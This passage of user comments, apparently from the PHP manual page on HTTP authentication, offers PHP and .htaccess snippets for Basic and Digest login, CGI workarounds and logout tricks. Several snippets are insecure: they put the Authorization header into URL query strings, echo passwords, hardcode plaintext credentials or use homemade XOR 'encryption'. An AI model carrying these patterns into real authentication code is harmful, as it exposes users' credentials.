$validated = (in_array($user, $valid_users)) && ($pass == $valid_passwords[$user]);

if (!$validated) {
  header('WWW-Authenticate: Basic realm="My Realm"');
  header('HTTP/1.0 401 Unauthorized');
  die ("Not authorized");
}

// If arrives here, is a valid user.
echo "<p>Welcome $user.</p>";
echo "<p>Congratulation, you are into the system.</p>";

?>
mg at evolution515 dot net 06-Feb-2007 04:20
Example for digest doesn't work (at least for me):

use this fix:
--------------
preg_match_all('@(\w+)=(?:(([\'"])(.+?)\3|([A-Za-z0-9/]+)))@', $txt, $matches, PREG_SET_ORDER);

foreach ($matches as $m) {
    $data[$m[1]] = $m[4] ? $m[4] : $m[5];
    unset($needed_parts[$m[1]]);
}

It's also better to but to put the Auth-Digest-Header in a function and call it on unsuccessful authentification again. Otherwise users only have the chance to submit their username/password just one time.
bleuciell at aol dot com 29-Dec-2006 12:51
For admin , i repair a fault , all is good now
Sorry for my english

It's a piece of code , to give a piece of reflexion about simple auth , we can also cryp login and pass in db , time is here for non-replay , the code isn't finish , but it work , only for reflexion about auth mechanism

<?php
function ky( $txt,$crypt) { $key = md5($crypt); $cpt = 0; $var = "";
for ( $Ctr = 0; $Ctr < strlen($txt); $Ctr++) { if ($cpt == strlen($crypt)) $cpt = 0;
$var.= substr($txt,$Ctr,1) ^ substr($crypt,$cpt,1); $cpt++; } return $var; }

$key = "";$list = 'abcdefghijklmnopqrstuvwxyz0123456789';
for($i = 0; $i< 200; $i++) {  $key .= $list{mt_rand() % strlen($list)}; }

function cryp($txt,$key){ srand((double)microtime()*735412);  $crypt = crypt(rand(0,3895234));$cpt = 0;$var= "";
for ( $Ctr=0; $Ctr < strlen($txt); $Ctr++ ) { if ($cpt == strlen($crypt))$cpt = 0;
$var.= substr($crypt,$cpt,1).( substr($txt,$Ctr,1) ^ substr($crypt,$cpt,1) ); $cpt++; } return base64_encode(ky($var,$key) ); }

function dcryp($txt,$key){ $txt=ky(base64_decode($txt),$key);$var= "";
for ( $Ctr = 0; $Ctr < strlen($txt); $Ctr++ ) { $md5 = substr($txt,$Ctr,1);$Ctr++; $var.= (substr($txt,$Ctr,1) ^ $md5); }return $var;}

$time= time(); $user = cryp('bubu',$key); $pwd = cryp('bubu-'.$time.'',$key);

function pwd($j,$key){ $x = dcryp($j,$key); $x = explode('-',$x); return $x[0];}
function pwd2($j,$key){ $x = dcryp($j,$key); $x = explode('-',$x); return $x[1];}

function auth(){$realm="Authentification PHPindex";
Header("WWW-Authenticate: Basic realm='".$realm."'");Header("HTTP/1.0  401  Unauthorized");
echo "Vous ne pouvez accéder à cette page"; }

if( !isset($_SERVER['PHP_AUTH_USER']) && !isset($_SERVER['PHP_AUTH_PW']) ) {auth();
} else {
if( $_SERVER['PHP_AUTH_USER'] == dcryp($user,$key) && $_SERVER['PHP_AUTH_PW'] == pwd($pwd,$key) && $time == pwd2($pwd,$key)) {

          echo '';

} else{ auth();}}

?>
Whatabrain 10-Nov-2006 07:05
Back to the problem of authenticating in CGI mode... mcbethh suggested using this to set a local variable in php:
RewriteRule .* - [E=REMOTE_USER:%{HTTP:Authorization},L]

It didn't work. I couldn't see the variable. My solution is pretty round-about, but it works:

RewriteEngine on
RewriteCond %{HTTP:Authorization} !^$
RewriteCond %{REQUEST_METHOD} =GET
RewriteCond %{QUERY_STRING} =""
RewriteRule ^page.php$ page.php?login=%{HTTP:Authorization}$1

This causes the Auth string to be added to the URL if there are no parameters and it's a GET request. This prevents POSTs and parameter lists from being corrupted.

Then, in the PHP script, I store the Auth string as a session cookie.

So the only way to log in to my script is to go to the url with no parameters.
admin at isprohosting dot com 01-Nov-2006 06:21
There are .htaccess which actually works for us (cPanel + phpsuexec) unless others failed. Perhaps it may help someone.

# PHP (CGI mode) HTTP Authorization with ModRewrite:
RewriteEngine on
RewriteCond %{HTTP:Authorization} ^(.*)
RewriteRule ^(.*) - [E=HTTP_AUTHORIZATION:%1]

Then you need small piece of php code to parse this line and then everything will work like with mod_php:

if (isset($_SERVER['HTTP_AUTHORIZATION']))
{
$ha = base64_decode( substr($_SERVER['HTTP_AUTHORIZATION'],6) );
list($_SERVER['PHP_AUTH_USER'], $_SERVER['PHP_AUTH_PW']) = explode(':', $ha);
unset $ha;
}

Enjoy!
SlamJam 23-Oct-2006 11:28
I used Louis example (03-Jun-2006) and it works well for me (thanks).

However, I added some lines, to make sure, the user does only get the Authentification-Window a few times:

<?php
$realm = mt_rand( 1, 1000000000)."@YourCompany";
$_SESSION['realm'] = $realm;

// In the beginning, when the realm ist defined:
$_SESSION['CountTrials'] = 1;
?>

And then when it comes to check the authentification (ZEND-Tutorial):

<?php

// Not more than 3 Trials
if (!$auth) {
   $_SESSION['CountTrials']++;
   if ($_SESSION['CountTrials'] == 4) {
       session_destroy() ;
       header('Location: noentry.php');
       exit ;
   } else {
       header("WWW-Authenticate: Basic realm=".$_SESSION['realm']);
       header("HTTP/1.0 401 Unauthorized");
       echo 'Authorization Required.';
       exit;
   }
} else {
         echo '<P>You are authorized!</P>';
}
?>

noentry.php is slightely different from comeagain.php.
roychri at php dot net 10-Oct-2006 08:12
For PHP with CGI, make sure you put the rewrite rule above any other rewrite rule you might have.

In my case, I put this at the top of the .htaccess (below RewriteEngine On):
RewriteRule .* - [E=REMOTE_USER:%{HTTP:Authorization}]

My symptom was that the REMOTE_USER (or REDIRECT_REMOTE_USER in my case) was not being set at all.
The cause: I had some other RewriteRule that was kickin in and was set as LAST rule.
I hope this helps.
blah at blah dot com 27-Jul-2006 12:46
Getting PHP Authentication to work with CGI-bin.

You must have mod_rewrite installed for this to work. In the directory (of the file) you want to protect, for the .htaccess file:

# PHP (CGI mode) HTTP Authorization with ModRewrite:
# most right example with header check for non empty:
RewriteEngine on
RewriteCond %{HTTP:Authorization}  !^$
RewriteRule ^test.php$ test.php?login=%{HTTP:Authorization}

Change the Rewrite rule to whatever you want it to be. For simplicity, this example only applies to one file, test.php and only if the HTTP Authorization needs to take place.

In the php file:
<?
if (isset($_GET['login'])) {
    $d = base64_decode( substr($_GET['login'],6) );
    list($name, $password) = explode(':', $d);
    echo 'Name:' . $name . "<br>\n";
    echo 'Password:' . $password . "<br>\n";
} else {
   header('WWW-Authenticate: Basic realm="My Realm"');
   header('HTTP/1.0 401 Unauthorized');
   echo 'You are not authorized. Bad user, bad!';
   exit;
}
?>

You need to get rid of the first 6 characters for some reason, then decode the Auth data from its base64 format. Then it's a simple matter of extracting the data. You can even pass the data to the $_SERVER variables $_SERVER['PHP_AUTH_USER'] and $_SERVER['PHP_AUTH_PW']. These are the variables that get the login data if you have PHP running as an Apache module. This is useful for mods or plugins.
web at kwi dot dk 12-Jul-2006 10:23
While Digest authentication is still far superior to Basic authentication, there are a number of security issues that one must keep in mind.

In this respect, the Digest example given above is somewhat flawed, because the nonce never times out or otherwise become invalid. It thus becomes a password-equivalent (although to that specific URL only) and can be used by an eavesdropper to fetch the page at any time in the future, thus allowing the attacker to always access the latest version of the page, or (much worse) repeatedly invoke a CGI script -- for instance, if the user requests the URL "/filemanager?delete=somefile", the attacker can repeat this deletion at any point in the future, possibly after the file has been recreated.

And while it might not be possible to change GET data without reauthentication, cookies and POST data *can* be changed.

To protect against the first problem, the nonce can be made to include a timestamp, and a check added to ensure that nonces older than e.g. 30 minutes result in a new authentication request.

To solve the second problem, a one-time only nonce needs to be generated -- that is, all further requests using a particular nonce must be refused.

One way to do this: When the user requests an action such as "deletefile", store a randomly generated nonce in a session variable, issue a 401 authentication challenge with that nonce, and then check against the stored value when receiving the authentication (and clear the session variable).

This way, although a possible eavesdropper receives the nonce and thus gains the ability to perform the action, he can only perform it once -- and the user was going to perform it anyway. (Only the user or the attacker, but not both, gets to perform the action, so it's safe.)

Of course, at some point, the security can only be improved by switching to HTTPS / SSL / TLS (this is for instance the only way to defend against man-in-the-middle attacks). You decide the level of security.
Louis 03-Jun-2006 03:51
I couldn't get authentication to work properly with any of the examples. Finally, I started from ZEND's tutorial example at:
http://www.zend.com/zend/tut/authentication.php?article=authentication (validate using .htpasswd) and tried to deal with the additional cases. My general conclusion is that changing the realm is the only reliable way to cause the browser to ask again, and I like to thank the person who put that example in the manual, as it got me on the right path. No matter what, the browser refuses to discard the values that it already has in mind otherwise. The problem with changing the realm, of course, is that you don't want to do it within a given session, else it causes a new request for a password. So, here goes, hopefully the spacing isn't too messed up by the cut'n'paste.

I spent the better part of a day getting this to work right. I had a very hard time thinking through what the browser does when it encounters an authentication request: seems to me that it tries to get the password, then reloads the page... so the HTML doesn't get run. At least, this was the case with IE, I haven't tested it with anything else.

<?php
session_start() ;
if (!isset($_SESSION['realm'])) {
        $_SESSION['realm'] = mt_rand( 1, 1000000000 ).
                " SECOND level: Enter your !!!COMPANY!!! password.";

        header( "WWW-Authenticate: Basic realm=".$_SESSION['realm'] );

        //  Below here runs HTML-wise only if there isn't a $_SESSION,
        // and the browser *can't* set $PHP_AUTH_USER... normally
        // the browser, having gotten the auth info, runs the page
        // again without getting here.
        //  What I'm basically getting to is that the way to get
        // here is to escape past the login screen. I tried
        // putting a session_destroy() here originally, but the
        // problem is that the PHP runs regardless, so the
        // REFRESH seems like the best way to deal with it.
        echo "<meta http-equiv=\"REFRESH\"
                content=\"0;url=index.php\">" ;
        exit;
        }

if ($_POST['logout'] == "logout") {
        session_destroy() ;
        header('Location: comeagain.php');
        exit ;
        }

// "standard" authentication code here, from the ZEND tutorial above.

comeagain.php is as follows:

<?
session_start();
unset($_SESSION['realm']);
session_destroy();
echo "<html><head><title>Logged Out</title><h1>Logout Page</h1><body>" ;
echo "You have successfully logged out of TOGEN";
echo " at ".date("h:m:s")." on ".date("d F Y") ;
echo "<p><a href=\"index.php\">Login Again</a>" ;
echo "</body></html>" ;
?>

The idea is to be able to trash the session (and thus reset the realm) without prompting the browser to ask again... because it has been redirected to logout.php.

With this combination, I get things to work. Just make sure not to have apache run htpasswd authentication at the same time, then things get really weird :-).
henrik at laurells dot net 31-May-2006 11:36
Above top example for digest mode dosn't work if you have safemode on. You need to add a dash and UID to the compare string to make it work. Something like this;;

$A1 = md5($data['username'].':'.
                $realm.'-'.getmyuid().':'.
                $users[$data['username']]);
kembl at example dot com 23-May-2006 08:06
# PHP (CGI mode) HTTP Authorization with ModRewrite:
# most right example with header check for non empty:
 RewriteEngine on
 RewriteCond %{HTTP:Authorization}  !^$
 RewriteRule .* - [E=REMOTE_USER:%{HTTP:Authorization}, \
E=PHP_AUTH_USER:%{HTTP:Authorization},L]
cyberscribe at php dot net 07-May-2006 11:47
To implement the Digest authentication mentioned above in PHP < 5.1, try prepending the following:

<?php
$headers = apache_request_headers();
$_SERVER['PHP_AUTH_DIGEST'] = $headers['Authorization'];
?>

or, if you don't like the idea of modifying the global $_SERVER variable directly, just use the first line and then substitute $_SERVER['PHP_AUTH_DIGEST'] in the sample code with $headers['Authorization']. Works great.
ZyX 04-Mar-2006 04:04
Simple PHP Script to login on a Basic Authentication page.

<?php

/* Access Configuration */
define ('x401_host', 'www.example.com');
define ('x401_port', 80);
define ('x401_user', 'your_username');
define ('x401_pass', 'your_password');

/* Function */
function get401Page($file) {
   $out  = "GET $file HTTP/1.1\r\n";
   $out .= "Host: ".x401_host."t\r\n";
   $out .= "Connection: Close\r\n";
   $out .= "Authorization: Basic ".base64_encode(x401_user.":".x401_pass)."\r\n";
   $out .= "\r\n";

   if (!$conex = @fsockopen(x401_host, x401_port, $errno, $errstr, 10))
       return 0;
   fwrite($conex, $out);
   $data = '';
   while (!feof($conex)) {
       $data .= fgets($conex, 512);
   }
   fclose($conex);
   return $data;
}

/* Code */
if ($source = get401Page('/absolute/path/file.php?get=value')) {
  echo $source;
} else {
  echo "I can't connect!";
}

?>
djreficul at yahoo dot com 15-Feb-2006 02:14
Well, I think it's easy to make authentification works correctly. I use a session var to force authentication everytime a user visit the logging area.

<?php
if (!isset ($_SESSION['firstauthenticate'])) {
    session_start();
}
  function authenticate() {
    header('WWW-Authenticate: Basic realm="Sistema autentificaci�n UnoAutoSur"');
    header('HTTP/1_0 401 Unauthorized');
//    header("Status: 401 Access Denied");
    echo "Unauthorized\n";
    exit;
  }
 if (!isset($_SERVER['PHP_AUTH_USER']) || strcmp ($_SERVER['PHP_AUTH_USER'],$user)!=0 ||
      !isset ($_SERVER['PHP_AUTH_PW']) || strcmp($_SERVER['PHP_AUTH_PW'],$pass)!=0 || !isset ($_SESSION['firstauthenticate']) || !$_SESSION['firstauthenticate']) {
     $_SESSION['firstauthenticate']=true;
   authenticate();
 } else {
            //I destroy the session var now
    session_unset();
            //Your code below
 }
?>
notter at thisaddress dot com 12-Jan-2006 07:19
A better example of the solution Brian was suggesting [admins: please delete my previous post]

logout.php:

<?php
if (!isset($_GET['quit'])) { ?>
        <h4>To complete your log out, please click "OK" then "Cancel" in
        this <a href="logout.php?quit=y">log in box</a>. Do not fill in a
        password. This should clear your ID and password from the cache of your
        browser.
        <blockquote>Note: Logging in from this particular box is
        disabled!</blockquote>
        <p>Go <a href="/">back to the site</a>.</h4>
        <?php
} else {
        header('WWW-Authenticate: Basic realm="This Realm"');
        header('HTTP/1.0 401 Unauthorized');
        // if a session was running, clear and destroy it
        session_start();
        session_unset();
        session_destroy();
        echo "<h3>Logged out!</h3><h4>Go <a href=\"/\">back to the site</a>.</h4>";
}
?>

Note: "This Realm" should be changed to precisely match the name of your realm in your main login.
marco dot moser at oltrefersina dot it 09-Jan-2006 06:29
I suggest to demand user's authentication and management to the web server (by .htaccess, ...):

1. configure a global /logon/ directory with a .htaccess file restricted access

2. use fopen wrapper:

  $hh = @fopen("http://{$_SERVER['PHP_AUTH_USER']}:{$_SERVER['PHP_AUTH_PW']}".
    @{$_SERVER['SERVER_NAME']}/logon/", "r");
  if (!$hh) authenticate(); // usual header WWW-Authenticate ...
  fclose($hh);
sezer yalcin 17-Dec-2005 01:16
none of those 'logout' methods would work well.

Even tricky ones like using cookie to reset cache.

Do not waste your time on this.

Browsers want to keep username and password to help user anyway. Try closing the window, or telling user to restart browser.
oaev at mail dot ru 19-Oct-2005 01:26
Once more time about PHP through CGI.

Sometimes by some reasons (settings) web-server does not allow to set any environment variables through .htaccess file, so method offered by bernard dot paques at bigfoot dot com will not work.

Another way to solve this is to set some GET variable:

file .htaccess (it's just my example, maybe you can find better way):

<IfModule mod_rewrite.c>
   RewriteEngine on

   RewriteCond %{QUERY_STRING} ^$
   RewriteRule ([^\s]+).php$ $1.php?BAD_HOSTING=%{HTTP:Authorization}

   RewriteCond %{QUERY_STRING} ^(.+)$
   RewriteRule ([^\s]+).php $1.php?%1&BAD_HOSTING=%{HTTP:Authorization}
</IfModule>

a part of php file:

<?php
    if((empty($_SERVER['PHP_AUTH_USER']) or empty($_SERVER['PHP_AUTH_PW'])) and isset($_REQUEST['BAD_HOSTING']) and preg_match('/Basic\s+(.*)$/i', $_REQUEST['BAD_HOSTING'], $matc))
        list($_SERVER['PHP_AUTH_USER'], $_SERVER['PHP_AUTH_PW']) = explode(':', base64_decode($matc[1]));

?>
somebody 18-Oct-2005 07:20
In the previous example it will not work in IE. In order to have a single script work on both IE and FireFox (and handle the cache problem), you need to use the $_SERVER['HTTP_USER_AGENT'] variable to know which logout version to present to the user.

An full example can be seen in the url (could not post it here due to size restrictions):

http://www.free-php.org/index.php?
cat_select=HTTP&show=HTTP_Authentication

(URL split also due to size restrictions)
niklas[dot]westerberg[at]sizeit[dot]se 07-Oct-2005 03:23
To reset the credentials stored by the browser and effectivly force reauthentication of the user, make a logout link on your page pointing to http://logout:logout@{$_SERVER['SERVER_NAME']}/nice_logout_page.php , presuming that there is no user logout with password logout.

Very simple!

Got it from http://www.webmasterworld.com/forum13/3147.htm
siberion at hotmail dot com 24-Aug-2005 09:11
I came up with another approach to work around the problem of browsers caching WWW authentication credentials and creating logout problems. While most browsers have some kind of way to wipe this information, I prefer having my website to take care of the task instead of relying on the user's sanity.

Even with Lalit's method of creating a random realm name, it was still possible to get back into the protected area using the back button in Firefox, so that didn't work. Here's my solution:

Since browsers attach the credentials to specific URLs, use virtual paths where a component of the path is actually a PHP script, and everything following it is part of the URI, such as:

http://www.example.com/some_dir/login.php/auth/8f631b92/

By choosing a different number for the last component of the URL, browsers can be tricked into thinking that they are dealing with a completely different website, and thus prompting the user for credentials again.

Note that using a random, unrestricted number will still allow the user to hit the back button to get back into the page. You should keep track of this number in a server-side file or database and regenerate it upon each successful login, so that the last number(s) become invalid. Using an invalid number might result in a 403 response or, depending on how you feel that day, a 302 to a nasty website.

Care should be taken when linking from the page generated in this case, since relative links will be relative to the virtual and non-existant directory rather than the true script directory.

Hope this helps somebody.
me at lalit dot org 30-Jun-2005 08:27
A very simple HTTP Authentication script that solves the logout problem. I wasted a lot of time figuring out a way to logout. This one works perfectly fine.

<?php

function auth_user() {
    $realm = mt_rand( 1, 1000000000 );
    header('WWW-Authenticate: Basic realm="Realm ID='.$realm.']"');
    header('HTTP/1.0 401 Unauthorized');
    die("Unauthorized access forbidden!");
}

if (!isset($_SERVER['PHP_AUTH_USER'])) {
    auth_user();
} else if (!isset($_SERVER['PHP_AUTH_USER'])) {
    auth_user();
} else if ($_SERVER['PHP_AUTH_USER'] != $auser || $_SERVER['PHP_AUTH_PW'] != $apass) {
    auth_user();
} else if (isset($_GET['action']) && $_GET['action'] == "logout") {
    auth_user();
}

// Normal Page Code Here
?>

Hope this helps,
Lalit
snagnever at gmail dot com 18-Jun-2005 03:39
It forces a auth each time the page is accessed:
(maybe can save someone)

<?
header("Expires: Sat, 01 Jan 2000 00:00:00 GMT");
header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");
header("Cache-Control: post-check=0, pre-check=0",false);
header("Pragma: no-cache");
session_cache_limiter("public, no-store");
session_start();

function http_auth()
{
    $_SESSION['AUTH'] = 1;
    header('HTTP/1.0 401 Unauthorized');
    header('WWW-Authenticate: Basic realm="sn4g auth system"');
    // The actions to be done when the user clicks on 'cancel'
    exit();
}

if( !isset($_SERVER['PHP_AUTH_USER']) or @$_SESSION['AUTH'] != 1 )
{
    http_auth();
    exit();
}

// Actions do be done when the user has logged

// rest, must clean the session array
$_SESSION = array();
session_destroy();
?>
aplanefan at mail dot com 25-May-2005 06:36
I found a way to log out easily
<?php
ob_start();
if (!isset($_SERVER['PHP_AUTH_USER']) || $_COOKIE['isin'] != "1") {
header('WWW-Authenticate: Basic realm="My Realm"');
header('HTTP/1.0 401 Unauthorized');
setcookie ("isin", "1");
die('<a href="orderhan.php">Login</a>');
}
else {
if($_SERVER['PHP_AUTH_USER'] == "USER" &&  $_SERVER['PHP_AUTH_PW']== "PASSWORD") {
echo "you got in";
echo "<a href='".$_SEVER['PHP_SELF']."?action=logout'>logout</a>";
}
else {
setcookie ("isin", "", time() - 3600);
$url=$_SERVER['PHP_SELF'];
header("location: $url");
}
if($_GET['action'] == "logout") {
setcookie ("isin", "", time() - 3600);
$url=$_SERVER['PHP_SELF'];
header("location: $url");
}
}
ob_end_flush();
?>
charly at towebs dot com 29-Apr-2005 10:13
A simpler approach on the post of:
bernard dot paques at bigfoot dot com
24-Sep-2004 01:42

This is another "patch" to the PHP_AUTH_USER and PHP_AUTH_PW server variables problem running PHP as a CGI.

First of all don't forget this fragment of code in your .htaccess (it's the only thing you need to make it work with mod_rewrite):

<IfModule mod_rewrite.c>
   RewriteEngine on
   RewriteRule .* - [E=REMOTE_USER:%{HTTP:Authorization},L]
</IfModule>

Then login.php

<?php
$a = base64_decode( substr($_SERVER["REMOTE_USER"],6)) ;
if ( (strlen($a) == 0) || ( strcasecmp($a, ":" )  == 0 ))
{
   header( 'WWW-Authenticate: Basic realm="Private"' );
   header( 'HTTP/1.0 401 Unauthorized' );
}
else
{
   list($name, $password) = explode(':', $a);
   $_SERVER['PHP_AUTH_USER'] = $name;
   $_SERVER['PHP_AUTH_PW']    = $password;

}

echo 'PHP_AUTH_USER =' . $_SERVER['PHP_AUTH_USER'] . '<br>';
echo 'PHP_AUTH_PW =' . $_SERVER['PHP_AUTH_PW'] . '<br>';
echo 'REMOTE_USER =' . $_SERVER['REMOTE_USER'] . '<br>';
?>

First, we decode the base64 encoded string discarding the first 6 characters of "Basic " and then we do a regular validation.
At the end of the script we print the variables to verify it's working. This should be ommited in the production version.

It's a variation of the script by Bernard Paques.
Thanks to him for that snippet.
sl at netcentrex dot net 24-Mar-2005 02:16
This forces an instant re-authentication:

// Force a logout.
function imt_logout()
{
    global $_SESSION;
    global $HTTP_SERVER_VARS;
    global $PHP_SELF;

    // We mark the session as requiring a re-auth
    $_SESSION['reauth-in-progress'] = 1;

    // This forces the authentication cache clearing
    header("WWW-Authenticate: Basic realm=\"My Realm\"");
    header("HTTP/1.0 401 Unauthorized");

    // In case of the user clicks "cancel" in the dialog box
    print '<a href="http://'.$HTTP_SERVER_VARS['HTTP_HOST'].$PHP_SELF.'">click me</a>';
    exit();
}

// Check login
function imt_login()
{
    global $_SERVER;
    global $_SESSION;
    global $REGISTERED_USERS;

    // the valid_user checks the user/password (very primitive test in this example)
    if (!valid_user($_SERVER['PHP_AUTH_USER'], $REGISTERED_USERS))
    {
        session_destroy();
        header("WWW-Authenticate: Basic realm=\"My Realm\"");
        header("HTTP/1.0 401 Unauthorized");
        exit();
    }

    // OK, the user is authenticated
    $_SESSION['user'] = $_SERVER['PHP_AUTH_USER'];
}

Assuming that your page.php?action=logout forces a reauth on the same page, start your page with:

session_start()
if ($_REQUEST["action"] == "logout")
{
    if (isset($_SESSION['reauth-in-progress']))
    {
        session_destroy();
        header("Location: http://".$HTTP_SERVER_VARS['HTTP_HOST'].$PHP_SELF);
    }
    else
        imt_logout();
}

imt_login();
brian at nerdlife dot net 19-Mar-2005 07:30
My solution to the logout conondrum:
<?php
if($_GET[op] == 'logout')
{
 header('WWW-Authenticate: Basic realm="Click \'Ok\' then \'Cancel\' to Log Out"');
 header('HTTP/1.0 401 Unauthorized');
  echo 'You have been successfully logged out. Click <a href="index.php">here</a> to log back in.');
  die();
}
if(!isset($_SERVER[PHP_AUTH_USER]))
{
 header('WWW-Authenticate: Basic realm="Site Login"');
 header('HTTP/1.0 401 Unauthorized');
  echo 'You must enter a valid username and password to access this resource.';
  die();
}
else
{
 //Validate User
 //If Validated:
 echo "Welcome. <a href='index.php?op=logout'>Logout?</a>"
}
?>
I assume that if the user is reliable enough to even bother logging out, they are reliable enough to click "ok" then "cancel", thereby logging out and displaying the "logged out" message.
ernstp at winzerware dot de 09-Nov-2004 11:05
Don't like passwords at home or simply don't want access with passwords maybe told form one to another...

You make a configuration file like that:

# Passwort for special IP-Range
IP 192.168.0.
axel:PGWAiIeUxcHOg
sven:ADD1IDbsVHSEo

# Following IP works without password (Keyword 'ALL')
IP 192.168.0.4
ALL

# Passwords for the rest of the world
IP
ernst:INo9dSzfU5sRU
sven:ADD1IDbsVHSEo

<?
$path_log = "/home/ernst/.htmyway";

// Konfigurationsfile einlesen:
$file = file($path_log);

$login = FALSE;                    // Gets TRUE, when login is valid
$ip = 'world';                    // This is the currend IP while reading the configuration
$access = 'world';                // IP from configuration fitting into $_SERVER['REMOTE_ADDR']

foreach ($file as $zeile)
{
    $zeile = trim($zeile);

    switch(true)
    {
        case ( strlen($zeile) == 0 ):                // break for empty lines
            break;

        case ( substr($zeile, 0, 1) == '#' ):            // break for Komments
            break;

        case ( substr($zeile, 0, 2) == 'IP' ):        // change IP range
            $ip = substr($zeile, 3);
            if ($ip == '')
                $ip = 'world';

            if ( ereg("^$ip", $_SERVER['REMOTE_ADDR']) )    // fitting IP
            {
                $access = $ip;
            }
            break;

        case ( ereg("(.+):(.*)", $zeile, $reg) ):        // scan passwords
            $logray[$ip][$reg[1]] = $reg[2];
            break;

        case ( $zeile == 'ALL' ):                // if no login is needet
            $logray[$ip]['all'] = 1;
    }
}

// <for testing>
if ( isset($_GET['logout']) )
{
    unset($_SERVER['PHP_AUTH_USER']);
    unset($_SERVER['PHP_AUTH_PW']);
}
//   </for testing>

// authorisation test
if ( isset($_SERVER['PHP_AUTH_USER']) AND isset($_SERVER['PHP_AUTH_PW']) )
    if( isset($logray[$access][$_SERVER['PHP_AUTH_USER']]) )
        if( $logray[$access][$_SERVER['PHP_AUTH_USER']] == crypt($_SERVER['PHP_AUTH_PW'], (substr($logray[$access][$_SERVER['PHP_AUTH_USER']], 0, 2))) )
            $login = TRUE;

if ( isset($logray[$access]['all']) )
    $login = TRUE;

// send login-form if needet
if ( !$login )
{
    Header("WWW-Authenticate: Basic realm=\"Test Authentication System\"");
    Header("HTTP/1.0 401 Unauthorized");
    echo "You must enter a valid login ID and password to access this resource\n";
    exit;
}

// Your running programm...
if ( $login )
{
    echo "Hello " . $_SERVER['PHP_AUTH_USER'];

?>
<BR>
<form>
<input type='submit' name='logout' value='logout'>
</form>
<?

}
?>
jason 14-Aug-2004 10:12
on the php+mysql auth code by tigran at freenet dot am

There are some security weaknesses.

First
$user
  and
$pass

are both insecure, they could leave this code open to SQL injection, you should always remove invalid characters in both, or at least encode them.

Actually storing passwords as MD5 hashes leaves you less work to secure.

Second security risks
The same mysql user has rights to both update and select, and possibly even insert and on your auth database no less.
Again the SQL inject attack may occur with this., and the end user could then change the users username, password, or anything else in relation to this.

Third items is more of a performance issue,

Do you really need to update the database, as updates are slower then selects, and if you do them every time they access the page, you are costing some speed penalty.

One option, if you want to use sql (I think mysql has it) is memory only databases, and create a table within memory, the stores a unique session identifier for each user, that is logged in, or alternatively if it's a single front end system, you could use db files.
php at cscott dot net 12-Aug-2004 04:18
Note that Microsoft has released a 'security update' which disables the use of username:password@host in http urls.

   http://support.microsoft.com/default.aspx?scid=kb;en-us;834489

The methods described above which rely on this will no longer work in Microsoft browsers, sadly.

You can re-enable this functionality as described at

   http://weblogs.asp.net/cumpsd/archive/2004/02/07/69366.aspx

but your users will probably be unwilling to do this.
chris at schaake dot nu 17-Jun-2004 09:42
A simple script for SSL Client Certificate authentication with a basic authentication fall-back. I use this on my site using LDAP server to check username/passwords and client certificate to user mapping.

<?
// Check if and how we are authenticated
if ($_SERVER['SSL_CLIENT_VERIFY'] != "SUCCESS") { // Not using a client certificate
    if ((!$_SERVER['PHP_AUTH_USER']) && (!$_SERVER['PHP_AUTH_PW'])) { // Not logged in using basic authentication
        authenticate(); // Send basic authentication headers
    }
}

if ($_SERVER['SSL_CLIENT_S_DN_CN'] != "chris") { // Check CN name of cert

    if (!(($_SERVER['PHP_AUTH_USER'] == "test") && ($_SERVER['PHP_AUTH_PW'] == "123"))) { // Check username and password
        authenticate(); // Send basic authentication headers because username and/or password didnot match
    }
}

phpinfo();

// Call authentication display
function authenticate() {
    Header("WWW-Authenticate: Basic realm=Website");
        Header("HTTP/1.0 401 Unauthorized");
        error401();
        exit;
}
?>

See my website (http://www.schaake.nu/index.php?page=/manuals/sslmanual.xml) for more details on client certificate with Apache and PHP.
mcbethh ( at ) [no spam] op.pl 06-Jun-2004 10:25
There is a nice way to 'fix' missing REMOTE_USER env variable when using PHP as CGI, using mod_rewrite rule like this:

RewriteRule .* - [E=REMOTE_USER:%{HTTP:Authorization},L]
nuno at mail dot ideianet dot pt 13-May-2004 03:33
In Windows 2003 Server/IIS6 with the php4+ cgi I only get HTTP authentication working with:
<?php header("Status: 401 Access Denied"); ?>
with
<?php header('HTTP/1.0 401 Unauthorized'); ?>
doesn't work !
I also need in "Custom Errors" to select the range of "401;1" through "401;5" and click the "Set to Default" button.
Thanks rob at theblip dot com
steuber at aego dot de 07-May-2004 04:15
Quite a good solution for the logout problem:

Just tell browser that it is successfully logged in!
This works as follows:
1. User clicks logout button
2. Script sends 401 Header
3. User does NOT enter a password
4. If no password is entered, script sends 200 Header

So the browser remembers no password as a valid password.

Example:

<?php
if (
       (!isset($_SERVER['PHP_AUTH_USER']))
    ||(
           ($_GET["login"]=="login")
    && !(
             ($_SERVER['PHP_AUTH_USER']=="validuser")
             && ($_SERVER['PHP_AUTH_PW']=="validpass")
           )
        )
    ||(
           ($_GET["logout"]=="logout")
     && !($_SERVER['PHP_AUTH_PW']=="")
        )
     ) {
Header("WWW-Authenticate: Basic realm=\"Realm\"");
Header("HTTP/1.0 401 Unauthorized");
echo "Not logged out...<br>\n";
echo "<a href=\"index.php?login=login\">Login</a>";
exit;
} else if ($_SERVER['PHP_AUTH_PW']=="") {
echo "Logged out...<br>\n";
echo "<a href=\"index.php?login=login\">Login</a>";
exit;
}
?>
najprogramato at post dot sk 27-Apr-2004 05:08
Don't use apache authentification in plain text. Is more better to use own script to generete new ID which is relevant to password. Apache auth data are sent to every page, so the posible mistake are known.
ian AT iyates DOT co DOR uk 05-Mar-2004 05:32
In my use of HTTP Authentication, I've found that some Apache setups swap around the usual variables.
Here's the fix I made so that you can still use PHP_AUTH_USER and PHP_AUTH_PW. Hope it helps someone

<?php
## Apache server fix ##
if (isset($_SERVER['PHP_AUTH_USER']) && !isset($_ENV['REMOTE_USER']))
    $_ENV['REMOTE_USER'] = $_SERVER['PHP_AUTH_USER'];
if (isset($_SERVER['AUTH_PASSWORD']) && !isset($_ENV['PHP_AUTH_PW']))
    $_ENV['PHP_AUTH_PW'] = $_SERVER['AUTH_PASSWORD'];
?>
rob at theblip dot com 03-Mar-2004 08:47
Regarding HTTP authentication in IIS with the php cgi 4.3.4, there's one more step. I searched mightily and didn't find this information anywhere else, so here goes. When using HTTP auth with the php CGI, you need to do the following things:

1. In your php.ini file, set "cgi.rfc2616_headers = 0"

2. In Web Site Properties -> File/Directory Security -> Anonymous Access dialog box, check the "Anonymous access" checkbox and uncheck any other checkboxes (i.e. uncheck "Basic authentication," "Integrated Windows authentication," and "Digest" if it's enabled.) Click OK.

3. In "Custom Errors", select the range of "401;1" through "401;5" and click the "Set to Default" button.

